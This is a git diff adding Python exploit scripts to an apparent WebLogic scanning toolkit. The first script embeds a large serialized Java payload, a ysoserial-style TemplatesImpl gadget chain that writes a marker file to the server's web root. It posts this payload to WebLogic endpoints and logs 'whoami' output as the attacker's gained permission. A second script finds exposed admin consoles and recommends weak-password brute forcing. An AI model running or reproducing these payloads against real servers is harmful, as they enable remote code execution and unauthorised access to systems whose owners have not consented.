+106 +97 +118 +97 +47 +117 +116 +105 +108 +47 +80 +114 +111 +112 +101 +114 +116 +105 +101 +115 +59 +120 +112 +0 +0 +0 +0 +-1 +-1 +-1 +-1 +117 +114 +0 +3 +91 +91 +66 +75 +-3 +25 +21 +103 +103 +-37 +55 +2 +0 +0 +120 +112 +0 +0 +0 +2 +117 +114 +0 +2 +91 +66 +-84 +-13 +23 +-8 +6 +8 +84 +-32 +2 +0 +0 +120 +112 +0 +0 +8 +-82 +-54 +-2 +-70 +-66 +0 +0 +0 +50 +0 +99 +10 +0 +3 +0 +34 +7 +0 +97 +7 +0 +37 +7 +0 +38 +1 +0 +16 +115 +101 +114 +105 +97 +108 +86 +101 +114 +115 +105 +111 +110 +85 +73 +68 +1 +0 +1 +74 +1 +0 +13 +67 +111 +110 +115 +116 +97 +110 +116 +86 +97 +108 +117 +101 +5 +-83 +32 +-109 +-13 +-111 +-35 +-17 +62 +1 +0 +6 +60 +105 +110 +105 +116 +62 +1 +0 +3 +40 +41 +86 +1 +0 +4 +67 +111 +100 +101 +1 +0 +15 +76 +105 +110 +101 +78 +117 +109 +98 +101 +114 +84 +97 +98 +108 +101 +1 +0 +18 +76 +111 +99 +97 +108 +86 +97 +114 +105 +97 +98 +108 +101 +84 +97 +98 +108 +101 +1 +0 +4 +116 +104 +105 +115 +1 +0 +19 +83 +116 +117 +98 +84 +114 +97 +110 +115 +108 +101 +116 +80 +97 +121 +108 +111 +97 +100 +1 +0 +12 +73 +110 +110 +101 +114 +67 +108 +97 +115 +115 +101 +115 +1 +0 +53 +76 +121 +115 +111 +115 +101 +114 +105 +97 +108 +47 +112 +97 +121 +108 +111 +97 +100 +115 +47 +117 +116 +105 +108 +47 +71 +97 +100 +103 +101 +116 +115 +36 +83 +116 +117 +98 +84 +114 +97 +110 +115 +108 +101 +116 +80 +97 +121 +108 +111 +97 +100 +59 +1 +0 +9 +116 +114 +97 +110 +115 +102 +111 +114 +109 +1 +0 +114 +40 +76 +99 +111 +109 +47 +115 +117 +110 +47 +111 +114 +103 +47 +97 +112 +97 +99 +104 +101 +47 +120 +97 +108 +97 +110 +47 +105 +110 +116 +101 +114 +110 +97 +108 +47 +120 +115 +108 +116 +99 +47 +68 +79 +77 +59 +91 +76 +99 +111 +109 +47 +115 +117 +110 +47 +111 +114 +103 +47 +97 +112 +97 +99 +104 +101 +47 +120 +109 +108 +47 +105 +110 +116 +101 +114 +110 +97 +108 +47 +115 +101 +114 +105 +97 +108 +105 +122 +101 +114 +47 +83 +101 +114 +105 +97 +108 +105 +122 +97 +116 +105 +111 +110 +72 +97 +110 +100 +108 +101 +114 +59 +41 +86 +1 +0 +8 +100 +111 +99 +117 +109 +101 +110 +116 +1 +0 +45 +76 +99 +111 +109 +47 +115 +117 +110 +47 +111 +114 +103 +47 +97 +112 +97 +99 +104 +101 +47 +120 +97 +108 +97 +110 +47 +105 +110 +116 +101 +114 +110 +97 +108 +47 +120 +115 +108 +116 +99 +47 +68 +79 +77 +59 +1 +0 +8 +104 +97 +110 +100 +108 +101 +114 +115 +1 +0 +66 +91 +76 +99 +111 +109 +47 +115 +117 +110 +47 +111 +114 +103 +47 +97 +112 +97 +99 +104 +101 +47 +120 +109 +108 +47 +105 +110 +116 +101 +114 +110 +97 +108 +47 +115 +101 +114 +105 +97 +108 +105 +122 +101 +114 +47 +83 +101 +114 +105 +97 +108 +105 +122 +97 +116 +105 +111 +110 +72 +97 +110 +100 +108 +101 +114 +59 +1 +0 +10 +69 +120 +99 +101 +112 +116 +105 +111 +110 +115 +7 +0 +39 +1 +0 +-90 +40 +76 +99 +111 +109 +47 +115 +117 +110 +47 +111 +114 +103 +47 +97 +112 +97 +99 +104 +101 +47 +120 +97 +108 +97 +110 +47 +105 +110 +116 +101 +114 +110 +97 +108 +47 +120 +115 +108 +116 +99 +47 +68 +79 +77 +59 +76 +99 +111 +109 +47 +115 +117 +110 +47 +111 +114 +103 +47 +97 +112 +97 +99 +104 +101 +47 +120 +109 +108 +47 +105 +110 +116 +101 +114 +110 +97 +108 +47 +100 +116 +109 +47 +68 +84 +77 +65 +120 +105 +115 +73 +116 +101 +114 +97 +116 +111 +114 +59 +76 +99 +111 +109 +47 +115 +117 +110 +47 +111 +114 +103 +47 +97 +112 +97 +99 +104 +101 +47 +120 +109 +108 +47 +105 +110 +116 +101 +114 +110 +97 +108 +47 +115 +101 +114 +105 +97 +108 +105 +122 +101 +114 +47 +83 +101 +114 +105 +97 +108 +105 +122 +97 +116 +105 +111 +110 +72 +97 +110 +100 +108 +101 +114 +59 +41 +86 +1 +0 +8 +105 +116 +101 +114 +97 +116 +111 +114 +1 +0 +53 +76 +99 +111 +109 +47 +115 +117 +110 +47 +111 +114 +103 +47 +97 +112 +97 +99 +104 +101 +47 +120 +109 +108 +47 +105 +110 +116 +101 +114 +110 +97 +108 +47 +100 +116 +109 +47 +68 +84 +77 +65 +120 +105 +115 +73 +116 +101 +114 +97 +116 +111 +114 +59 +1 +0 +7 +104 +97 +110 +100 +108 +101 +114 +1 +0 +65 +76 +99 +111 +109 +47 +115 +117 +110 +47 +111 +114 +103 +47 +97 +112 +97 +99 +104 +101 +47 +120 +109 +108 +47 +105 +110 +116 +101 +114 +110 +97 +108 +47 +115 +101 +114 +105 +97 +108 +105 +122 +101 +114 +47 +83 +101 +114 +105 +97 +108 +105 +122 +97 +116 +105 +111 +110 +72 +97 +110 +100 +108 +101 +114 +59 +1 +0 +10 +83 +111 +117 +114 +99 +101 +70 +105 +108 +101 +1 +0 +12 +71 +97 +100 +103 +101 +116 +115 +46 +106 +97 +118 +97 +12 +0 +10 +0 +11 +7 +0 +40 +1 +0 +51 +121 +115 +111 +115 +101 +114 +105 +97 +108 +47 +112 +97 +121 +108 +111 +97 +100 +115 +47 +117 +116 +105 +108 +47 +71 +97 +100 +103 +101 +116 +115 +36 +83 +116 +117 +98 +84 +114 +97 +110 +115 +108 +101 +116 +80 +97 +121 +108 +111 +97 +100 +1 +0 +64 +99 +111 +109 +47 +115 +117 +110 +47 +111 +114 +103 +47 +97 +112 +97 +99 +104 +101 +47 +120 +97 +108 +97 +110 +47 +105 +110 +116 +101 +114 +110 +97 +108 +47 +120 +115 +108 +116 +99 +47 +114 +117 +110 +116 +105 +109 +101 +47 +65 +98 +115 +116 +114 +97 +99 +116 +84 +114 +97 +110 +115 +108 +101 +116 +1 +0 +20 +106 +97 +118 +97 +47 +105 +111 +47 +83 +101 +114 +105 +97 +108 +105 +122 +97 +98 +108 +101 +1 +0 +57 +99 +111 +109 +47 +115 +117 +110 +47 +111 +114 +103 +47 +97 +112 +97 +99 +104 +101 +47 +120 +97 +108 +97 +110 +47 +105 +110 +116 +101 +114 +110 +97 +108 +47 +120 +115 +108 +116 +99 +47 +84 +114 +97 +110 +115 +108 +101 +116 +69 +120 +99 +101 +112 +116 +105 +111 +110 +1 +0 +31 +121 +115 +111 +115 +101 +114 +105 +97 +108 +47 +112 +97 +121 +108 +111 +97 +100 +115 +47 +117 +116 +105 +108 +47 +71 +97 +100 +103 +101 +116 +115 +1 +0 +8 +60 +99 +108 +105 +110 +105 +116 +62 +1 +0 +18 +106 +97 +118 +97 +47 +105 +111 +47 +70 +105 +108 +101 +87 +114 +105 +116 +101 +114 +7 +0 +42 +1 +0 +22 +106 +97 +118 +97 +47 +108 +97 +110 +103 +47 +83 +116 +114 +105 +110 +103 +66 +117 +102 +102 +101 +114 +7 +0 +44 +10 +0 +45 +0 +34 +1 +0 +16 +106 +97 +118 +97 +47 +108 +97 +110 +103 +47 +84 +104 +114 +101 +97 +100 +7 +0 +47 +1 +0 +13 +99 +117 +114 +114 +101 +110 +116 +84 +104 +114 +101 +97 +100 +1 +0 +20 +40 +41 +76 +106 +97 +118 +97 +47 +108 +97 +110 +103 +47 +84 +104 +114 +101 +97 +100 +59 +12 +0 +49 +0 +50 +10 +0 +48 +0 +51 +1 +0 +21 +103 +101 +116 +67 +111 +110 +116 +101 +120 +116 +67 +108 +97 +115 +115 +76 +111 +97 +100 +101 +114 +1 +0 +25 +40 +41 +76 +106 +97 +118 +97 +47 +108 +97 +110 +103 +47 +67 +108 +97 +115 +115 +76 +111 +97 +100 +101 +114 +59 +12 +0 +53 +0 +54 +10 +0 +48 +0 +55 +1 +0 +1 +47 +8 +0 +57 +1 +0 +21 +106 +97 +118 +97 +47 +108 +97 +110 +103 +47 +67 +108 +97 +115 +115 +76 +111 +97 +100 +101 +114 +7 +0 +59 +1 +0 +11 +103 +101 +116 +82 +101 +115 +111 +117 +114 +99 +101 +1 +0 +34 +40 +76 +106 +97 +118 +97 +47 +108 +97 +110 +103 +47 +83 +116 +114 +105 +110 +103 +59 +41 +76 +106 +97 +118 +97 +47 +110 +101 +116 +47 +85 +82 +76 +59 +12 +0 +61 +0 +62 +10 +0 +60 +0 +63 +1 +0 +12 +106 +97 +118 +97 +47 +110 +101 +116 +47 +85 +82 +76 +7 +0 +65 +1 +0 +7 +103 +101 +116 +80 +97 +116 +104 +1 +0 +20 +40 +41 +76 +106 +97 +118 +97 +47 +108 +97 +110 +103 +47 +83 +116 +114 +105 +110 +103 +59 +12 +0 +67 +0 +68 +10 +0 +66 +0 +69 +1 +0 +6 +97 +112 +112 +101 +110 +100 +1 +0 +44 +40 +76 +106 +97 +118 +97 +47 +108 +97 +110 +103 +47 +83 +116 +114 +105 +110 +103 +59 +41 +76 +106 +97 +118 +97 +47 +108 +97 +110 +103 +47 +83 +116 +114 +105 +110 +103 +66 +117 +102 +102 +101 +114 +59 +12 +0 +71 +0 +72 +10 +0 +45 +0 +73 +1 +0 +17 +46 +46 +47 +46 +46 +47 +102 +97 +118 +105 +99 +111 +110 +46 +105 +99 +111 +8 +0 +75 +1 +0 +8 +116 +111 +83 +116 +114 +105 +110 +103 +12 +0 +77 +0 +68 +10 +0 +45 +0 +78 +1 +0 +21 +40 +76 +106 +97 +118 +97 +47 +108 +97 +110 +103 +47 +83 +116 +114 +105 +110 +103 +59 +41 +86 +12 +0 +10 +0 +80 +10 +0 +43 +0 +81 +1 +0 +16 +106 +97 +118 +97 +47 +108 +97 +110 +103 +47 +83 +116 +114 +105 +110 +103 +7 +0 +83 +1 +0 +10 +86 +117 +108 +110 +101 +114 +97 +98 +108 +101 +8 +0 +85 +10 +0 +84 +0 +81 +1 +0 +14 +106 +97 +118 +97 +47 +105 +111 +47 +87 +114 +105 +116 +101 +114 +7 +0 +88 +1 +0 +42 +40 +76 +106 +97 +118 +97 +47 +108 +97 +110 +103 +47 +67 +104 +97 +114 +83 +101 +113 +117 +101 +110 +99 +101 +59 +41 +76 +106 +97 +118 +97 +47 +105 +111 +47 +87 +114 +105 +116 +101 +114 +59 +12 +0 +71 +0 +90 +10 +0 +89 +0 +91 +1 +0 +5 +102 +108 +117 +115 +104 +12 +0 +93 +0 +11 +10 +0 +89 +0 +94 +1 +0 +13 +83 +116 +97 +99 +107 +77 +97 +112 +84 +97 +98 +108 +101 +1 +0 +30 +121 +115 +111 +115 +101 +114 +105 +97 +108 +47 +80 +119 +110 +101 +114 +51 +57 +56 +52 +50 +51 +48 +50 +48 +50 +52 +51 +53 +48 +51 +1 +0 +32 +76 +121 +115 +111 +115 +101 +114 +105 +97 +108 +47 +80 +119 +110 +101 +114 +51 +57 +56 +52 +50 +51 +48 +50 +48 +50 +52 +51 +53 +48 +51 +59 +0 +33 +0 +2 +0 +3 +0 +1 +0 +4 +0 +1 +0 +26 +0 +5 +0 +6 +0 +1 +0 +7 +0 +0 +0 +2 +0 +8 +0 +4 +0 +1 +0 +10 +0 +11 +0 +1 +0 +12 +0 +0 +0 +47 +0 +1 +0 +1 +0 +0 +0 +5 +42 +-73 +0 +1 +-79 +0 +0 +0 +2 +0 +13 +0 +0 +0 +6 +0 +1 +0 +0 +0 +41 +0 +14 +0 +0 +0 +12 +0 +1 +0 +0 +0 +5 +0 +15 +0 +98 +0 +0 +0 +1 +0 +19 +0 +20 +0 +2 +0 +12 +0 +0 +0 +63 +0 +0 +0 +3 +0 +0 +0 +1 +-79 +0 +0 +0 +2 +0 +13 +0 +0 +0 +6 +0 +1 +0 +0 +0 +46 +0 +14 +0 +0 +0 +32 +0 +3 +0 +0 +0 +1 +0 +15 +0 +98 +0 +0 +0 +0 +0 +1 +0 +21 +0 +22 +0 +1 +0 +0 +0 +1 +0 +23 +0 +24 +0 +2 +0 +25 +0 +0 +0 +4 +0 +1 +0 +26 +0 +1 +0 +19 +0 +27 +0 +2 +0 +12 +0 +0 +0 +73 +0 +0 +0 +4 +0 +0 +0 +1 +-79 +0 +0 +0 +2 +0 +13 +0 +0 +0 +6 +0 +1 +0 +0 +0 +50 +0 +14 +0 +0 +0 +42 +0 +4 +0 +0 +0 +1 +0 +15 +0 +98 +0 +0 +0 +0 +0 +1 +0 +21 +0 +22 +0 +1 +0 +0 +0 +1 +0 +28 +0 +29 +0 +2 +0 +0 +0 +1 +0 +30 +0 +31 +0 +3 +0 +25 +0 +0 +0 +4 +0 +1 +0 +26 +0 +8 +0 +41 +0 +11 +0 +1 +0 +12 +0 +0 +0 +81 +0 +6 +0 +2 +0 +0 +0 +60 +-89 +0 +3 +1 +76 +-69 +0 +43 +89 +-69 +0 +45 +89 +-73 +0 +46 +-72 +0 +52 +-74 +0 +56 +18 +58 +-74 +0 +64 +-74 +0 +70 +-74 +0 +74 +18 +76 +-74 +0 +74 +-74 +0 +79 +-73 +0 +82 +-69 +0 +84 +89 +18 +86 +-73 +0 +87 +-74 +0 +92 +-74 +0 +95 +-79 +0 +0 +0 +1 +0 +96 +0 +0 +0 +3 +0 +1 +3 +0 +2 +0 +32 +0 +0 +0 +2 +0 +33 +0 +17 +0 +0 +0 +10 +0 +1 +0 +2 +0 +35 +0 +16 +0 +9 +117 +113 +0 +126 +0 +11 +0 +0 +1 +-44 +-54 +-2 +-70 +-66 +0 +0 +0 +50 +0 +27 +10 +0 +3 +0 +21 +7 +0 +23 +7 +0 +24 +7 +0 +25 +1 +0 +16 +115 +101 +114 +105 +97 +108 +86 +101 +114 +115 +105 +111 +110 +85 +73 +68 +1 +0 +1 +74 +1 +0 +13 +67 +111 +110 +115 +116 +97 +110 +116 +86 +97 +108 +117 +101 +5 +113 +-26 +105 +-18 +60 +109 +71 +24 +1 +0 +6 +60 +105 +110 +105 +116 +62 +1 +0 +3 +40 +41 +86 +1 +0 +4 +67 +111 +100 +101 +1 +0 +15 +76 +105 +110 +101 +78 +117 +109 +98 +101 +114 +84 +97 +98 +108 +101 +1 +0 +18 +76 +111 +99 +97 +108 +86 +97 +114 +105 +97 +98 +108 +101 +84 +97 +98 +108 +101 +1 +0 +4 +116 +104 +105 +115 +1 +0 +3 +70 +111 +111 +1 +0 +12 +73 +110 +110 +101 +114 +67 +108 +97 +115 +115 +101 +115 +1 +0 +37 +76 +121 +115 +111 +115 +101 +114 +105 +97 +108 +47 +112 +97 +121 +108 +111 +97 +100 +115 +47 +117 +116 +105 +108 +47 +71 +97 +100 +103 +101 +116 +115 +36 +70 +111 +111 +59 +1 +0 +10 +83 +111 +117 +114 +99 +101 +70 +105 +108 +101 +1 +0 +12 +71 +97 +100 +103 +101 +116 +115 +46 +106 +97 +118 +97 +12 +0 +10 +0 +11 +7 +0 +26 +1 +0 +35 +121 +115 +111 +115 +101 +114 +105 +97 +108 +47 +112 +97 +121 +108 +111 +97 +100 +115 +47 +117 +116 +105 +108 +47 +71 +97 +100 +103 +101 +116 +115 +36 +70 +111 +111 +1 +0 +16 +106 +97 +118 +97 +47 +108 +97 +110 +103 +47 +79 +98 +106 +101 +99 +116 +1 +0 +20 +106 +97 +118 +97 +47 +105 +111 +47 +83 +101 +114 +105 +97 +108 +105 +122 +97 +98 +108 +101 +1 +0 +31 +121 +115 +111 +115 +101 +114 +105 +97 +108 +47 +112 +97 +121 +108 +111 +97 +100 +115 +47 +117 +116 +105 +108 +47 +71 +97 +100 +103 +101 +116 +115 +0 +33 +0 +2 +0 +3 +0 +1 +0 +4 +0 +1 +0 +26 +0 +5 +0 +6 +0 +1 +0 +7 +0 +0 +0 +2 +0 +8 +0 +1 +0 +1 +0 +10 +0 +11 +0 +1 +0 +12 +0 +0 +0 +47 +0 +1 +0 +1 +0 +0 +0 +5 +42 +-73 +0 +1 +-79 +0 +0 +0 +2 +0 +13 +0 +0 +0 +6 +0 +1 +0 +0 +0 +54 +0 +14 +0 +0 +0 +12 +0 +1 +0 +0 +0 +5 +0 +15 +0 +18 +0 +0 +0 +2 +0 +19 +0 +0 +0 +2 +0 +20 +0 +17 +0 +0 +0 +10 +0 +1 +0 +2 +0 +22 +0 +16 +0 +9 +112 +116 +0 +4 +80 +119 +110 +114 +112 +119 +1 +0 +120 +115 +125 +0 +0 +0 +1 +0 +29 +106 +97 +118 +97 +120 +46 +120 +109 +108 +46 +116 +114 +97 +110 +115 +102 +111 +114 +109 +46 +84 +101 +109 +112 +108 +97 +116 +101 +115 +120 +114 +0 +23 +106 +97 +118 +97 +46 +108 +97 +110 +103 +46 +114 +101 +102 +108 +101 +99 +116 +46 +80 +114 +111 +120 +121 +-31 +39 +-38 +32 +-52 +16 +67 +-53 +2 +0 +1 +76 +0 +1 +104 +116 +0 +37 +76 +106 +97 +118 +97 +47 +108 +97 +110 +103 +47 +114 +101 +102 +108 +101 +99 +116 +47 +73 +110 +118 +111 +99 +97 +116 +105 +111 +110 +72 +97 +110 +100 +108 +101 +114 +59 +120 +112 +115 +114 +0 +50 +115 +117 +110 +46 +114 +101 +102 +108 +101 +99 +116 +46 +97 +110 +110 +111 +116 +97 +116 +105 +111 +110 +46 +65 +110 +110 +111 +116 +97 +116 +105 +111 +110 +73 +110 +118 +111 +99 +97 +116 +105 +111 +110 +72 +97 +110 +100 +108 +101 +114 +85 +-54 +-11 +15 +21 +-53 +126 +-91 +2 +0 +2 +76 +0 +12 +109 +101 +109 +98 +101 +114 +86 +97 +108 +117 +101 +115 +116 +0 +15 +76 +106 +97 +118 +97 +47 +117 +116 +105 +108 +47 +77 +97 +112 +59 +76 +0 +4 +116 +121 +112 +101 +116 +0 +17 +76 +106 +97 +118 +97 +47 +108 +97 +110 +103 +47 +67 +108 +97 +115 +115 +59 +120 +112 +115 +114 +0 +17 +106 +97 +118 +97 +46 +117 +116 +105 +108 +46 +72 +97 +115 +104 +77 +97 +112 +5 +7 +-38 +-63 +-61 +22 +96 +-47 +3 +0 +2 +70 +0 +10 +108 +111 +97 +100 +70 +97 +99 +116 +111 +114 +73 +0 +9 +116 +104 +114 +101 +115 +104 +111 +108 +100 +120 +112 +63 +64 +0 +0 +0 +0 +0 +12 +119 +8 +0 +0 +0 +16 +0 +0 +0 +1 +116 +0 +8 +102 +53 +97 +53 +97 +54 +48 +56 +113 +0 +126 +0 +8 +120 +118 +114 +0 +29 +106 +97 +118 +97 +120 +46 +120 +109 +108 +46 +116 +114 +97 +110 +115 +102 +111 +114 +109 +46 +84 +101 +109 +112 +108 +97 +116 +101 +115 +0 +0 +0 +0 +0 +0 +0 +0 +0 +0 +0 +120 +112 +120 + + + + + + + + + + + +''' + + +def run(ip,port,index): + r1 = requests.post('http://' + str(ip) + ':' + str(port) + path1, headers=headers, data=payload1, timeout=3) + time.sleep(1) + r2 = requests.post('http://' + str(ip) + ':' + str(port) + path2, headers=headers, data=payload2, timeout=3) + time.sleep(1) + r3 = requests.get('http://' + str(ip) + ':' + str(port) + '/_async/favicon.ico') + if ((r1.status_code == 200) and 'uid' in r1.text) or ((r2.status_code == 202) and 'Vulnerable' in r3.text): + logging.info('[+]{}:{} has a JAVA deserialization vulnerability:{}.'.format(ip,port,VUL[index])) + logging.info('[+]And your current permission is:{}.'.format(r1.text.replace('whoami : \r\n',''))) + else: + logging.info('[-]{}:{} not detected {}.'.format(ip,port,VUL[index])) + +if __name__ == '__main__': + dip = sys.argv[1] + dport = int(sys.argv[2]) + run(dip,dport,0) \ No newline at end of file diff --git a/WeblogicScanLot/poc/Console.py b/WeblogicScanLot/poc/Console.py new file mode 100644 index 0000000..75da46d --- /dev/null +++ b/WeblogicScanLot/poc/Console.py @@ -0,0 +1,36 @@ +#!/usr/bin/env python3 +# _*_ coding:utf-8 _*_ +''' + ____ _ _ _ _ __ __ _ +| _ \ __ _| |__ | |__ (_) |_| \/ | __ _ ___| | __ +| |_) / _` | '_ \| '_ \| | __| |\/| |/ _` / __| |/ / +| _ < (_| | |_) | |_) | | |_| | | | (_| \__ \ < +|_| \_\__,_|_.__/|_.__/|_|\__|_| |_|\__,_|___/_|\_\ + +''' +import logging +import sys +import requests + +logging.basicConfig(filename='Weblogic.log', + format='%(asctime)s %(message)s', + filemode="w", level=logging.INFO) + +headers = {'user-agent': 'ceshi/0.0.1'} + +def islive(ur,port): + url='http://' + str(ur)+':'+str(port)+'/console/login/LoginForm.jsp' + r = requests.get(url, headers=headers) + return r.status_code + +def run(url,port): + if islive(url,port)==200: + u='http://' + str(url)+':'+str(port)+'/console/login/LoginForm.jsp' + logging.info("[+]{}:{} console address is exposed! The path is: {} Please try weak password blasting!".format(url,port,u)) + else: + logging.info('[-]{}:{} console address not found!'.format(url,port)) + +if __name__=="__main__": + url = sys.argv[1] + port = int(sys.argv[2]) + run(url,port) diff --git a/WeblogicScanLot/poc/__init__.py b/WeblogicScanLot/poc/__init__.py new file mode 100644 index 0000000..27cd789 --- /dev/null +++ b/WeblogicScanLot/poc/__init__.py @@ -0,0 +1,10 @@ +#!/usr/bin/env python3 +# _*_ coding:utf-8 _*_ +''' + ____ _ _ _ _ __ __ _ +| _ \ __ _| |__ | |__ (_) |_| \/ | __ _ ___| | __ +| |_) / _` | '_ \| '_ \| | __| |\/| |/ _` / __| |/ / +| _ < (_| | |_) | |_) | | |_| | | | (_| \__ \ < +|_| \_\__,_|_.__/|_.__/|_|\__|_| |_|\__,_|___/_|\_\ + +'''